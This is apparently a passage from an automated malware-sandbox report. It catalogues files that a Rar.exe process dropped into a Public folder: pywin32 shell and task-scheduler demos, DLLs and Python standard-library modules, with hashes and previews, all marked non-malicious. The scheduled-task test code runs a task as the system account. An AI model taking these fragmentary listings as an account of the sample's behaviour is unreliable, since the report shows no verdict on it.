SHA-512:	99B986AB15DAF751D90E7469D57631147DAF2DA8973442E094855B797394D59C0E2A031FAB6FA5EEA8A00701E104CF47E7AE3F8DF0FA8EC49F1573E7966794BB
Malicious:	false
Reputation:	low
Preview:	# A sample shell namespace view..# To demostrate:.# * Execute this script to register the namespace..# * Open Windows Explorer, and locate the new "Python Path Shell Browser".# folder off "My Computer".# * Browse this tree - .py files are shown expandable, with classes and.# methods selectable. Selecting a Python file, or a class/method, will.# display the file using Scintilla..# Known problems:.# * Classes and methods don't have icons - this is a demo, so we keep it small.# See icon_handler.py for examples of how to work with icons..#.#.# Notes on PIDLs.# PIDLS are complicated, but fairly well documented in MSDN. If you need to.# do much with these shell extensions, you must understand their concept..# Here is a short-course, as it applies to this sample:.# A PIDL identifies an item, much in the same way that a filename does.# (however, the shell is not limited to displaying "files")..# An "ItemID" is a single string, each being an item in the hierarchy..# A "PIDL" is a list

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\shellexecuteex.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	470
Entropy (8bit):	4.979151668013883
Encrypted:	false
SSDEEP:	12:4Lm4hhIVQhxqQPGfDwbymXNB2kd6ChoBJ9o6wi1Ta+EfZ2plPPv:v8IVw2ayqZdJyBJ9oSfEoplf
MD5:	E847821591C91355F1ABCAD2BC14ED89
SHA1:	A01B49F131FA10A07D8C48B2E298CBE7D6022BA2
SHA-256:	5A1AC89AD95E161C7E4DFC3A9A3A5C6F8B9E00478998B9FB2583C01ADF262763
SHA-512:	90DC99086B780C371837EC78232B57530E27301B4270296F99A6FE33199C1C532B1E0D67F6EF7FC99344AB6F3DA2817E48A789A41D33E871C60C51D071FC5601
Malicious:	false
Reputation:	low
Preview:	import win32con.from win32com.shell import shell, shellcon...def ExplorePIDL():. pidl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_DESKTOP). print("The desktop is at", shell.SHGetPathFromIDList(pidl)). shell.ShellExecuteEx(. fMask=shellcon.SEE_MASK_NOCLOSEPROCESS,. nShow=win32con.SW_NORMAL,. lpClass="folder",. lpVerb="explore",. lpIDList=pidl,. ). print("Done!")...if __name__ == "__main__":. ExplorePIDL().

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\viewstate.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2318
Entropy (8bit):	4.559422897162152
Encrypted:	false
SSDEEP:	48:krswmghjVif3aeg3GxMLniuIQSERu7YB06QKUenpB/vm7tLnWIQSKnGCPcV:CmghjVif3dxMLn/8s5QKUo/vm5LnwqCC
MD5:	5E1EA5F5941BDC53352F26ED5C5ABDC1
SHA1:	F0B88CCA4B5962FFBD1F768181BC1EF1910FC3C1
SHA-256:	14006951D85CA90B277C1FFB763BE3FA736641FD9864A6E619900A471AC130CE
SHA-512:	9A79C0AD4134337F4519C140C7404596784FC8427442C0777216F8EEC4109BB248B2F3AC2FD1E9F5163B2F9FF7AE412258BDAE32A7E478C92CB8E338761B0440
Malicious:	false
Reputation:	low
Preview:	""".Demonstrates how to propagate a folder's view state to all its subfolders.The format of the ColInfo stream is apparently undocumented, but.it can be read raw from one folder and copied to another's view state.."""..import os.import sys..import pythoncom.from win32com.shell import shell, shellcon..template_folder = os.path.split(sys.executable)[0].print("Template folder:", template_folder).template_pidl = shell.SHILCreateFromPath(template_folder, 0)[0].template_pb = shell.SHGetViewStatePropertyBag(. template_pidl,. "Shell",. shellcon.SHGVSPB_FOLDERNODEFAULTS,. pythoncom.IID_IPropertyBag,.)..# Column info has to be read as a stream.# This may blow up if folder has never been opened in Explorer and has no ColInfo yet.template_iunk = template_pb.Read("ColInfo", pythoncom.VT_UNKNOWN).template_stream = template_iunk.QueryInterface(pythoncom.IID_IStream).streamsize = template_stream.Stat()[2].template_colinfo = template_stream.Read(streamsize)...def update_colinfo(not_used, di

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\walk_shell_folders.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	669
Entropy (8bit):	4.4561315141191296
Encrypted:	false
SSDEEP:	12:kIj2QpxXhhIVQhxrtKlw+JwLHZhTMBuLFCERTJqllGL8gJ2IT2WVtppbj:kk1IVw5KYLvguLFPRQGLx4+vbZj
MD5:	4391682FCB87F8669A3B9141B42681DF
SHA1:	C368535BF2989C4734E885F1070F67D0A3F3700E
SHA-256:	617503784C0BF008A40515717BEFD8823A6C3D686D002EDD3167352EDDDF9D3B
SHA-512:	C654B53FE020A44C66F2571085E5C2A5FB7A5153174BDBF4385927CD76C1AD25CEE6B52F7D868607A4613F2FAC767E44C1FD2AC4C3718EC49377F891E8A6003A
Malicious:	false
Reputation:	low
Preview:	# A little sample that walks from the desktop into child.# items..from win32com.shell import shell, shellcon...def walk(folder, depth=2, indent=""):. try:. pidls = folder.EnumObjects(0, shellcon.SHCONTF_FOLDERS). except shell.error:. # no items. return. for pidl in pidls:. dn = folder.GetDisplayNameOf(pidl, shellcon.SHGDN_NORMAL). print(indent, dn). if depth:. try:. child = folder.BindToObject(pidl, None, shell.IID_IShellFolder). except shell.error:. pass. else:. walk(child, depth - 1, indent + " ")...walk(shell.SHGetDesktopFolder()).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\shell.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	407552
Entropy (8bit):	6.703998786147557
Encrypted:	false
SSDEEP:	6144:BVYMO0FDXfNr9YIZdJ5dgUV/6lRjiZPUDGr/ti/Ah:Rp97JaI
MD5:	57A6C3C480A7B994DB367739652CD37C
SHA1:	6B776244197E13609D02704576FA693A808D651E
SHA-256:	909AAE7180329F4297111D29966CA6C73C0354540BE62D68B00072712508210D
SHA-512:	D043F1760027544A8319693121AE46F93383AE051ABD1C556779223EBB4014ED40553E69272F50C1A45CB39E5DB7A20C84D37FD4025FCC7F21DDD841CE5CFC49
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W...............................................s............................."......................Rich...........PE..L......d...........!................Xl....................................................@..........................W..L....W..........L...........................D...T...............................@............................................text...{........................... ..`.rdata..............................@..@.data... o.......8...h..............@....rsrc...L...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\shellcon.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	49361
Entropy (8bit):	5.4774347642005035
Encrypted:	false
SSDEEP:	768:rWkQM9PBIng17jfIxmtcOfby7OCKO9rqLCGYNTLa/mo2j95z9BPvVdDV+aiVrBrn:rRvHQ2BtbiOCO4PvD0aiVrxtolEtf
MD5:	D91E3C8D5BA6BEFA1E32B8854681545A
SHA1:	1FE0190385E16A9A8CD5F26C0AE45CECC09E3D23
SHA-256:	21E5294BCF830F00B4FAB35E3BB0AC65040979A17EC0DDD7E71830FA6BA4A151
SHA-512:	E5FFA245D8096A1D070B2FBEEED7D354A476070CD1A0A15ED382B899E9CB2EA59A6E00836ECE568C060386EE53E533775031F9AC5767A59EC2CF5826E1F3999E
Malicious:	false
Reputation:	low
Preview:	# Generated by h2py from \mssdk\include\shlobj.h and shellapi.h.WM_USER = 1024.DROPEFFECT_NONE = 0.DROPEFFECT_COPY = 1.DROPEFFECT_MOVE = 2.DROPEFFECT_LINK = 4.DROPEFFECT_SCROLL = -2147483648..FO_MOVE = 1.FO_COPY = 2.FO_DELETE = 3.FO_RENAME = 4..## File operation flags used with shell.SHFileOperation.FOF_MULTIDESTFILES = 1.FOF_CONFIRMMOUSE = 2.FOF_SILENT = 4.FOF_RENAMEONCOLLISION = 8.FOF_NOCONFIRMATION = 16.FOF_WANTMAPPINGHANDLE = 32.FOF_ALLOWUNDO = 64.FOF_FILESONLY = 128.FOF_SIMPLEPROGRESS = 256.FOF_NOCONFIRMMKDIR = 512.FOF_NOERRORUI = 1024.FOF_NOCOPYSECURITYATTRIBS = 2048.FOF_NORECURSION = 4096.FOF_NO_CONNECTED_ELEMENTS = 8192.FOF_WANTNUKEWARNING = 16384.FOF_NORECURSEREPARSE = 32768.FOF_NO_UI = FOF_SILENT \| FOF_NOCONFIRMATION \| FOF_NOERRORUI \| FOF_NOCONFIRMMKDIR..## Extended file operation flags, used with IFileOperation.FOFX_NOSKIPJUNCTIONS = 0x00010000.FOFX_PREFERHARDLINK = 0x00020000.FOFX_SHOWELEVATIONPROMPT = 0x00040000.FOFX_EARLYFAILURE = 0x00100000.FOFX_PRESERVEFILEEXTENSIONS =

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\test\testSHFileOperation.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2092
Entropy (8bit):	4.672051600836994
Encrypted:	false
SSDEEP:	48:oVvqtFCv3PFuJv3Ny5sbEYO3FCv3PY3cJ7CgEfpPeJX:oV8Cv3PFokgqCv3PY37gEVC
MD5:	860B68CEEFE01EBF3172AC16EAFEBC8B
SHA1:	5E39F0FF2A62C3F05C7DB20D4B4D269B720E9D1E
SHA-256:	E76D257B02B747C6C36EC85EC4B7BF086895BA4FF90C366716E2C0462291082B
SHA-512:	6A1C0A5E8324AAF1796C3B3F4E5DB5FD1B82B8FAEC60229377D60E0296BC2C3A56E5BDDD733C202D3FA769B55E79BB929909EF47418EDC06DE975546DE9D5EDF
Malicious:	false
Reputation:	low
Preview:	import os..import win32api.from win32com.shell import shell, shellcon...def testSHFileOperation(file_cnt):. temp_dir = os.environ["temp"]. orig_fnames = [. win32api.GetTempFileName(temp_dir, "sfo")[0] for x in range(file_cnt). ]. new_fnames = [. os.path.join(temp_dir, "copy of " + os.path.split(orig_fnames[x])[1]). for x in range(file_cnt). ].. pFrom = "\0".join(orig_fnames). pTo = "\0".join(new_fnames).. shell.SHFileOperation(. (. 0,. shellcon.FO_MOVE,. pFrom,. pTo,. shellcon.FOF_MULTIDESTFILES \| shellcon.FOF_NOCONFIRMATION,. ). ). for fname in orig_fnames:. assert not os.path.isfile(fname).. for fname in new_fnames:. assert os.path.isfile(fname). shell.SHFileOperation(. (. 0,. shellcon.FO_DELETE,. fname,. None,. shellcon.FOF_NOCONFIRMATION \| shellcon.FOF_NOE

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\test\testShellFolder.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	582
Entropy (8bit):	5.0916106849298854
Encrypted:	false
SSDEEP:	12:1KhhIVQhT4hPcnbwTmPmDJDw+Q1oB2CY62dpT4r5pq5zKq5lIjWEvSalX9vhSRL4:16IVkbUmudDwfo4T6UxJjTab5SZxq
MD5:	9C32B68A70FFACC40DC0B035437EC4F5
SHA1:	35693171E5D23088E042735AA5FEC02F57365295
SHA-256:	D9516D3471E7EB9FBD3B5DC921FB9711AA2ED16C8EC1BB0BFC973D024C8A2649
SHA-512:	92B01330F1DAD4CA5E3DCA62013F817A2C139ADE275052CEFD6DB5A4CAFAF59374219A9567A0521715B081F0BE02091D84A0E42B8720AEAE4F67477B9D33BA5E
Malicious:	false
Reputation:	low
Preview:	from win32com.shell import shell.from win32com.shell.shellcon import *..sf = shell.SHGetDesktopFolder().print("Shell Folder is", sf)..names = [].for i in sf: # Magically calls EnumObjects. name = sf.GetDisplayNameOf(i, SHGDN_NORMAL). names.append(name)..# And get the enumerator manually.enum = sf.EnumObjects(0, SHCONTF_FOLDERS \| SHCONTF_NONFOLDERS \| SHCONTF_INCLUDEHIDDEN).num = 0.for i in enum:. num += 1.if num != len(names):. print("Should have got the same number of names!?").print("Found", len(names), "items on the desktop").for name in names:. print(name).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\test\testShellItem.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2891
Entropy (8bit):	4.819588436655301
Encrypted:	false
SSDEEP:	24:QTdLIVUWsF6TI8V/I8VwayLWnq7cAN2nV4ah0NwFn0L9I8TKay7W0ng441GpL9N/:K8VjsF4lRlZyEAR2+l1yIBCTemJy3fS
MD5:	D038D3E80DA35B8BFB6E0260AAE3EA65
SHA1:	9B11D9E41F1D2AFADA8FDAA442495F24C76E07CA
SHA-256:	F3B9315D2A7593F318E80DB2D26A9EA34BD740F1DD0B0B2BE636F87DDCF1E7A4
SHA-512:	0FFC7D1CA7A4E578B7BFAE801A21309F5B1474C8450FBFED193D9720DAD5DD441C3F35E7BB0D04377FF2F0AA08DCF58BE0E4288743F2ED559F7C661EA7152D41
Malicious:	false
Reputation:	low
Preview:	# Test IShellItem and related interfaces.import unittest..from win32com.shell import knownfolders, shell, shellcon...class TestShellItem(unittest.TestCase):. def assertShellItemsEqual(self, i1, i2):. n1 = i1.GetDisplayName(shellcon.SHGDN_FORPARSING). n2 = i2.GetDisplayName(shellcon.SHGDN_FORPARSING). self.assertEqual(n1, n2).. def test_idlist_roundtrip(self):. pidl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_DESKTOP). item = shell.SHCreateItemFromIDList(pidl, shell.IID_IShellItem). pidl_back = shell.SHGetIDListFromObject(item). self.assertEqual(pidl, pidl_back).. def test_parsing_name(self):. sf = shell.SHGetDesktopFolder(). flags = shellcon.SHCONTF_FOLDERS \| shellcon.SHCONTF_NONFOLDERS. children = sf.EnumObjects(0, flags). child_pidl = next(children). name = sf.GetDisplayNameOf(child_pidl, shellcon.SHGDN_FORPARSING).. item = shell.SHCreateItemFromParsingName(name, None, shell.I

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\taskscheduler\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	192
Entropy (8bit):	4.73288878491099
Encrypted:	false
SSDEEP:	3:SbFVEbW2llQkEr66FuxAAyWX7myhAgMXFPJoFcAtUIVKzLHKFaWlQkEr66NRS66u:SbFubDlQkDAAyWrNhS5WmKVsLHKkWlQp
MD5:	3D90A8BDF51DE0D7FAE66FC1389E2B45
SHA1:	B1D30B405F4F6FCE37727C9EC19590B42DE172EE
SHA-256:	7D1A6FE54DC90C23B0F60A0F0B3F9D5CAE9AC1AFECB9D6578F75B501CDE59508
SHA-512:	BD4EA236807A3C128C1EC228A19F75A0A6EF2B29603C571EE5D578847B20B395FEC219855D66A409B5057B5612E924EDCD5983986BEF531F1309ABA2FE7F0636
Malicious:	false
Reputation:	low
Preview:	# This is a python package.# __PackageSupportBuildPath__ not needed for distutil based builds,.# but not everyone is there yet..import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\taskscheduler\taskscheduler.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	6.209295804436407
Encrypted:	false
SSDEEP:	768:swC2/RCOlDHjjRstec837jzH5hSXJMGmsI77Q:tFt/itecmHLmWGmn77Q
MD5:	57BDBDA66860FD7D36C6FBB55A9A37A5
SHA1:	A9EC10549864C9B94CED55CB7E1FCA01BEF53758
SHA-256:	FF483CC27CE94EE7BFC17256888E2BF6EF6951CBACEC28EB31AE8529C61E0F27
SHA-512:	B3241E06A4CCB8E7AA74373CECC106635A8E5750A89146E105DAE34B4C437BC8254AA4AC3DEA1F823A8EED8E222E8F1DD91B42B29E3A8118FB1256D624929F4B
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........%...Dw..Dw..Dw..<..Dw..1v..Dw..1r..Dw..1s..Dw..1t..Dw.{-v..Dw..1v..Dw../v..Dw..Dv..Dw../p..Dw..1~..Dw..1w..Dw..1u..Dw.Rich.Dw.........PE..L......d...........!.....J...J......9J.......`............................................@.............................p...............l............................y..T...........................Xy..@............`...............................text....I.......J.................. ..`.rdata...1...`...2...N..............@..@.data...............................@....rsrc...l...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\taskscheduler\test\test_addtask.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2212
Entropy (8bit):	5.260377440140583
Encrypted:	false
SSDEEP:	48:ZGXN+o5dmgEIDuOHcmCoKda+gj9Hpppg8UZV1S0zmIQ6:ZG9r5dmgFDuO8mCfI+gRJppgzo0E6
MD5:	679BFEFC3ED4A729A42B80D0281C5501
SHA1:	6C27A02D21C8C28378AAA4E0F376C53BE6054637
SHA-256:	1928FE18B0131BC8930E2D751952CB446F8E20A8DD3FC5118BF4848784452F2B
SHA-512:	7B844350AC794D4DB83A719BF83DC12A355A0731A693037D82A0CC7133BD3C531B679BE9D76C20AB157D3CC2D1A5CEB85730856B2E7DE4C54AF25A1265B883E3
Malicious:	false
Reputation:	low
Preview:	import os.import sys.import time..import pythoncom.import win32api.from win32com.taskscheduler import taskscheduler..task_name = "test_addtask.job".ts = pythoncom.CoCreateInstance(. taskscheduler.CLSID_CTaskScheduler,. None,. pythoncom.CLSCTX_INPROC_SERVER,. taskscheduler.IID_ITaskScheduler,.).tasks = ts.Enum().for task in tasks:. print(task).if task_name in tasks:. print("Deleting existing task " + task_name). ts.Delete(task_name)..t = ts.NewWorkItem(task_name).t.SetComment("rude comments").t.SetApplicationName(sys.executable).t.SetPriority(taskscheduler.REALTIME_PRIORITY_CLASS).t.SetParameters(. "-c\"import win32ui,time;win32ui.MessageBox('hey bubba I am running');\"".).t.SetWorkingDirectory(os.path.dirname(sys.executable)).t.SetCreator("test_addtask.py").t.SetMaxRunTime(20000) # milliseconds.t.SetFlags(. taskscheduler.TASK_FLAG_INTERACTIVE \| taskscheduler.TASK_FLAG_RUN_ONLY_IF_LOGGED_ON.).## \|taskscheduler.TASK_FLAG_DELETE_WHEN_DONE) #task

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\taskscheduler\test\test_addtask_1.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2154
Entropy (8bit):	5.225976928607513
Encrypted:	false
SSDEEP:	48:fkN+Qpd4chN+0kOHOQ9M+gmIDn9oK65YN00OB2IQ6:fQRpd4cTQOd++g/Dn9fUQ00OBQ6
MD5:	023725FB08327B0F93297B41A9864D52
SHA1:	6F940064603449C018FFEA45DB3C58A4EAE996B2
SHA-256:	56555B38692A77E58FB1824A225B45E4FEBC68E018DE8CAF9D77EFF84413A746
SHA-512:	45C92B1D846E706FF85C18203CC7D75162E2CFCF93287ADF62FE23726084D07D2CF6F4B8EE3FBC4ED296A6A8E7B36C7364EF5DE16C7C6684C6486B2011473506
Malicious:	false
Reputation:	low
Preview:	import time..import pythoncom.import win32api.from win32com.taskscheduler import taskscheduler..test_task_name = "test_addtask_1.job"..ts = pythoncom.CoCreateInstance(. taskscheduler.CLSID_CTaskScheduler,. None,. pythoncom.CLSCTX_INPROC_SERVER,. taskscheduler.IID_ITaskScheduler,.)..tasks = ts.Enum().for task in tasks:. print(task).if test_task_name in tasks:. print("Deleting existing task " + test_task_name). ts.Delete(test_task_name)..new_task = pythoncom.CoCreateInstance(. taskscheduler.CLSID_CTask,. None,. pythoncom.CLSCTX_INPROC_SERVER,. taskscheduler.IID_ITask,.).ts.AddWorkItem(test_task_name, new_task) ## task object is modified in place..new_task.SetFlags(. taskscheduler.TASK_FLAG_INTERACTIVE \| taskscheduler.TASK_FLAG_RUN_ONLY_IF_LOGGED_ON.).new_task.SetIdleWait(1, 10000).new_task.SetComment("test task with idle trigger").new_task.SetApplicationName("c:\\python23\\python.exe").new_task.SetPriority(taskscheduler.REALTIME_PRIORITY_CLASS).new_ta

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\taskscheduler\test\test_addtask_2.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1682
Entropy (8bit):	5.152366525783661
Encrypted:	false
SSDEEP:	24:fma/IBH+xutQCc+0E9l3gZ768xFeJLAfVB+D3AFF8Ljo0J3XaCiYnIQ6:fyN+o5b9Fgx6BLAdB+TY8l9IQ6
MD5:	BDB96A0A73DC75AC451A280D91D8087B
SHA1:	2C9CB9503888F1C91150EE8E55A3ACD65E2F81EB
SHA-256:	FEA2A60A9EFB8E371780FEAC140C0056D9C5D6FE0AD55D9ECD613B596A520C33
SHA-512:	5A1B472F6DC3F73197B7F16E3E09B7371F73F02B763FB96F9FAA66F8575F12CEEB3CA2E7DEAE9BD6C88A419D92B5A94D0DFE82E9903DA8E0D462A7F38C52BA32
Malicious:	false
Reputation:	low
Preview:	import time..import pythoncom.import win32api.from win32com.taskscheduler import taskscheduler..task_name = "test_addtask_2.job".ts = pythoncom.CoCreateInstance(. taskscheduler.CLSID_CTaskScheduler,. None,. pythoncom.CLSCTX_INPROC_SERVER,. taskscheduler.IID_ITaskScheduler,.).tasks = ts.Enum().for task in tasks:. print(task).if task_name in tasks:. print("Deleting existing task " + task_name). ts.Delete(task_name)..t = ts.NewWorkItem(task_name).t.SetComment("Test a task running as local system acct").t.SetApplicationName("c:\\python23\\python.exe").t.SetPriority(taskscheduler.REALTIME_PRIORITY_CLASS).t.SetParameters("test_localsystem.py").t.SetWorkingDirectory("c:\\python23").t.SetCreator("test_addtask_2.py").t.SetMaxRunTime(20000) # milliseconds.t.SetFlags(taskscheduler.TASK_FLAG_DELETE_WHEN_DONE).t.SetAccountInformation(. "", None.) ## empty string for account name means to use local system.## None is only valid for local system acct or if task flags contain

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\taskscheduler\test\test_localsystem.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.611896313876683
Encrypted:	false
SSDEEP:	3:Uv96vpdRTSHMvCFVkWTgmuDFw:UVuReHMKFSUgS
MD5:	9BE57453C83E5AEEE160A8BC8B6A5B7D
SHA1:	C33638E52DBC2FE9D0D28B7937EB42279F9A9FD8
SHA-256:	C8C6DBA0D2ECE4AE7509A03A915D4331502156A21C854929ACE2342B997ACA5F
SHA-512:	01245FB0D4B4D30348018B710B7D5A041E42759C2F2D1FA4CB9BDDB56C5C9E6CE13371A19F9C6CFAF29573B658827E79496DF6A4B064638631B42846F5712076
Malicious:	false
Reputation:	low
Preview:	f = open("test_localsystem.txt", "w").f.write("I have run\n").f.close().

C:\Users\Public\QExvbmVOb25l\Lib\site.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	23261
Entropy (8bit):	4.664005598458198
Encrypted:	false
SSDEEP:	384:rw2NAPbFYRmyZTm1xL0lpKPKxBj/XBrYjCQk209LSX84/sHiKKWPBD:xARYRvl0x4PSwYuQ6SrxZWN
MD5:	23CF5B302F557F7461555A35A0DC8C15
SHA1:	50DAAC7D361CED925B7FD331F46A3811B2D81238
SHA-256:	73607E7B809237D5857B98E2E9D503455B33493CDE1A03E3899AA16F00502D36
SHA-512:	E3D8449A8C29931433DFB058AB21DB173B7AED8855871E909218DA0C36BEB36A75D2088A2D6DD849EC3E66532659FDF219DE00184B2651C77392994C5692D86B
Malicious:	false
Reputation:	low
Preview:	"""Append module search paths for third-party packages to sys.path.....***************************************************************.. This module is automatically imported during initialization. ..***************************************************************....This will append site-specific paths to the module search path. On..Unix (including Mac OSX), it starts with sys.prefix and..sys.exec_prefix (if different) and appends..lib/python<version>/site-packages...On other platforms (such as Windows), it tries each of the..prefixes directly, as well as with lib/site-packages appended. The..resulting directories, if they exist, are appended to sys.path, and..also inspected for path configuration files.....If a file named "pyvenv.cfg" exists one directory above sys.executable,..sys.prefix and sys.exec_prefix are set to that directory and..it is also checked for site-packages (sys.base_prefix and..sys.base_exec_prefix will always be the "real" prefixes of the Python..installation

C:\Users\Public\QExvbmVOb25l\Lib\smtpd.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	36144
Entropy (8bit):	4.545888734589651
Encrypted:	false
SSDEEP:	384:M1Pd0G6YeQebxqrvBRA7tS71/2Gah4Z5xKL9zqdlhSqJuHvGcRQ+6PTCIMzxg5LU:Mf0G6dQlvBnXzHqH1Csxgtuz11
MD5:	DE2ABF7E7E5C09972A5A181580AA182F
SHA1:	02DB16013DF9343CDA71C26D24F9BC77C05FEB64
SHA-256:	A1F374DC10CF17C6C69B5A236E7E6E1F3B909A88E737C3C555AB2492036D71C0
SHA-512:	DA24EBE9D406608B17BF34714CE0477D35CEFACFCBFD250D7C0FAE7EB91ED915CAFD37BD0CA7FC6AE3523D07D1BF0529E61B9CBD5A23A97D8FF0C8E20F25006F
Malicious:	false
Reputation:	low
Preview:	#! /usr/bin/env python3.."""An RFC 5321 smtp proxy with optional RFC 1870 and RFC 6531 extensions.....Usage: %(program)s [options] [localhost:localport [remotehost:remoteport]]....Options:.... --nosetuid.. -n.. This program generally tries to setuid `nobody', unless this flag is.. set. The setuid call will fail if this program is not run as root (in.. which case, use this flag)..... --version.. -V.. Print the version number and exit..... --class classname.. -c classname.. Use `classname' as the concrete SMTP proxy class. Uses `PureProxy' by.. default..... --size limit.. -s limit.. Restrict the total size of the incoming message to "limit" number of.. bytes via the RFC 1870 SIZE extension. Defaults to 33554432 bytes..... --smtputf8.. -u.. Enable the SMTPUTF8 extension and behave as an RFC 6531 smtp proxy..... --debug.. -d.. Turn on debugging prints..... --help.. -h..

C:\Users\Public\QExvbmVOb25l\Lib\smtplib.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	46558
Entropy (8bit):	4.473746236373843
Encrypted:	false
SSDEEP:	768:rI6W3HVctoov8k0o+wt0ZEr1kNCLCkUethIqLbgaVIT4IlZiu3fWotlAJpEgjFe/:DWatDawzrmC9tYdFg8WLE6ebT
MD5:	C3ABC5CDD8659418068B809948A7E7B8
SHA1:	EEB64EF5A0E91B6644F1B9AF10C32A1E92C642C1
SHA-256:	8B38C3B9019C810D4164A88D4C4D2A294D5181814B03B624A5B0EDB19C638166
SHA-512:	0B8BA051F43D74F187F03DB395E90A9773CFD97562D0B91F619008740794D20E14E4C0772287822BBB634A193D40710EA5683F9FE9B086A4E8999D34F1F39E69
Malicious:	false
Reputation:	low
Preview:	#! /usr/bin/env python3....'''SMTP/ESMTP client class.....This should follow RFC 821 (SMTP), RFC 1869 (ESMTP), RFC 2554 (SMTP..Authentication) and RFC 2487 (Secure SMTP over TLS).....Notes:....Please remember, when doing ESMTP, that the names of the SMTP service..extensions are NOT the same thing as the option keywords for the RCPT..and MAIL commands!....Example:.... >>> import smtplib.. >>> s=smtplib.SMTP("localhost").. >>> print(s.help()).. This is Sendmail version 8.8.4.. Topics:.. HELO EHLO MAIL RCPT DATA.. RSET NOOP QUIT HELP VRFY.. EXPN VERB ETRN DSN.. For more info use "HELP <topic>"... To report bugs in the implementation send email to.. sendmail-bugs@sendmail.org... For local information send email to Postmaster at your site... End of HELP info.. >>> s.putcmd("vrfy","someone@here").. >>> s.getreply().. (250, "Somebody OverHere <somebody@here.my.org>").. >>> s.quit()..'''....# Author: The Dragon De Monsyne <drago

C:\Users\Public\QExvbmVOb25l\Lib\sndhdr.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	4.8280737034749075
Encrypted:	false
SSDEEP:	192:mwqBK/jkUx5LNc8ObfKwOCeidXjW6ddDDmQCpjHjKkz:mwA2efKc+7pjD3
MD5:	CB6A9C7DE3FF807AD0359C739908DEAD
SHA1:	283771E021D9DE729817336C15887841CE16859F
SHA-256:	A1424AA73094E2F88E749D5ABFECF79941C4B3213881FF68C4AB7D54702ED9B5
SHA-512:	7D806E7AA640D5C529837F58F9B4168D416F76A9BF6B7CACB98988387FCAF3565D7CCF4D1EA9CCA4DDC6643AD15F76883250C4BE016F592A387A9CC7083F051F
Malicious:	false
Reputation:	low
